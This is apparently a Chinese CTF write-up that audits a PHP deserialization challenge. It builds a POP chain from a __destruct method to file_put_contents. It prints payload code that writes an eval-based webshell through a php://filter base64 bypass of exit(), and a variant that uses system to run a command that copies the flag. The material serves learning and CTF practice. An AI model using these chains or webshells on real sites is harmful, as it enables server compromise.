0x01
给了源码,审计开始 go!go!go!
```php
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?phpn//" . sprintf('%012d', $expire) . "n exit();?>n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(FILE);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
```
我这个最菜web狗做代码审计题通常都是先整体看看代码的大意逻辑,然后再具体看代码的实现过程。在这里先不看两个A、B类,接下来看便是传入src可以看代码,建一个upload文件夹,还有一个unserialize($_GET["data"]);
,data是我们传入的,可控,基本上就确定是利用反序列化,通过data传入构造的payload。
审计A类有魔术方法__destruct
,B类没有魔术方法,但B类里面有file_put_contents
可以写文件,这明摆着就可以写webshell了,爷二话不说开始想。从__destruct
开始搞,咱建一个A类,就叫$a
吧,$a
走的时候触发__destruct
php
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
$this->autosave=false
就可以触发save()
```php
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
```
save里面的$this->store
调用了set,A里面没得set,真巧B里面有set
$this->store
设置为B类,完事,咱跟进B类里面的set
```php
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?phpn//" . sprintf('%012d', $expire) . "n exit();?>n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
```
太乱了,爷看不下去了,来倒着推吧,咱利用$result = file_put_contents($filename, $data);
写shell。
先看$filename
```php
$name 是咱在save中传过来的也就是 $this->key
$filename = $this->getCacheKey($name);
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
options数组是B的,可控,$name是a中传的key,可控,完事文件名可控
总结: 文件名是 $this->options['prefix'] . $key
```
再看$data
```php
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
gzcompress根本不存在忽略了,如果不放心可以吧options['data_compress']=falase
$data = $this->serialize($value);
serialize是什么鬼,序列化吗不对劲啊,爷看看
仔细看定义了个serialize函数,最后实现的是return $serialize($data); $serialize = $this->options['serialize']; 这个函数可控啊,先记下来打个星
$value就是A中传的 $contents
$contents又是什么东东,哦,原来是json_encode([$cleaned, $this->complete]);$cleaned设置成空,就是 $this->complete 了。
总结 $data 就是 "<?phpn//" . sprintf('%012d', $expire) . "n exit();?>n" . $this->complete;
```
0x02
构造完事,根据上面的分析过有
```php
A:
$store 指向B
$key 文件后缀名 指定就 .php
$expire 没啥用
$this->autosave false
$this->cache 设为空
$this->complete 马
B:
options['prefix'] 文件名
options['serialize'] 方法
options['expire'] 没啥用
options['data_compress'] false
```
构造
```php
$b = new B();
$b->writeTimes = 0;
$b -> options = array('serialize' => "strtoupper",
'data_compress' => false,
'prefix' => "shell");
$a = new A($store = $b, $key = ".php", $expire = 0);
$a->autosave = false;
$a->cache = array();
$a->complete = '<?php @eval($_POST["shell"]);?>';
echo urlencode(serialize($a));
```
你会发现执行不了,这是为什么呢因为 $data
前面拼接了exit()
,根本就执行不了。
0x03
绕死亡exit()
,可以通过伪协议绕过
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
```php
$b = new B();
$b->writeTimes = 0;
$b -> options = array('serialize' => "trim",
'data_compress' => false,
'prefix' => "php://filter/write=convert.base64-decode/resource=uploads/b");
$a = new A($store = $b, $key = ".php", $expire = 0);
$a->autosave = false;
$a->cache = array();
$a->complete = 'aaa'.base64_encode('<?php @eval($_POST["b"]);?>');
这里拼接了aaa 是为了base64能正常解码
echo urlencode(serialize($a));
```
马就上传到uploads/b.php了密码是b
0x04
其他解法
```php
$b = new B();
$b->writeTimes = 0;
$b -> options = array('serialize' => "system",
'data_compress' => false,
'prefix' => "b");
$a = new A($store = $b, $key = ".php", $expire = 0);
$a->autosave = false;
$a->cache = array();
$a->complete = 'cat /flag > ./flag.php
';
echo urlencode(serialize($a));
```
相当于
php
system('[[],"`cat /flag > ./flag.php`"]')
在shell里执行的时候 反引号 的优先级是高于引号的,所以会先执行cat /flag > ./flag.php
,flag就被写到flag.php里面去了
如图虽然命令错误,但是仍然正常执行了反引号里的命令
0x05
总结: 入门半年的web狗觉得代码审计真的是太太太难了,当审不下去的时候可以倒过来从可能的利用点思考。还有要多多看大师傅的文章,发现更多的骚操作!!!
参考
https://www.zhaoj.in/read-6397.html
https://www.anquanke.com/post/id/194036
http://www.rayi.vip/2019/11/27/EIS%202019/
译文声明 本文是翻译文章,文章原作者raphael karger,文章来源:https://b.ou.is 原文地址:https://b.ou.is/articles/2020-05/CVE-2020-13693 前言 在对流行的Wordpress插件进行研究…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论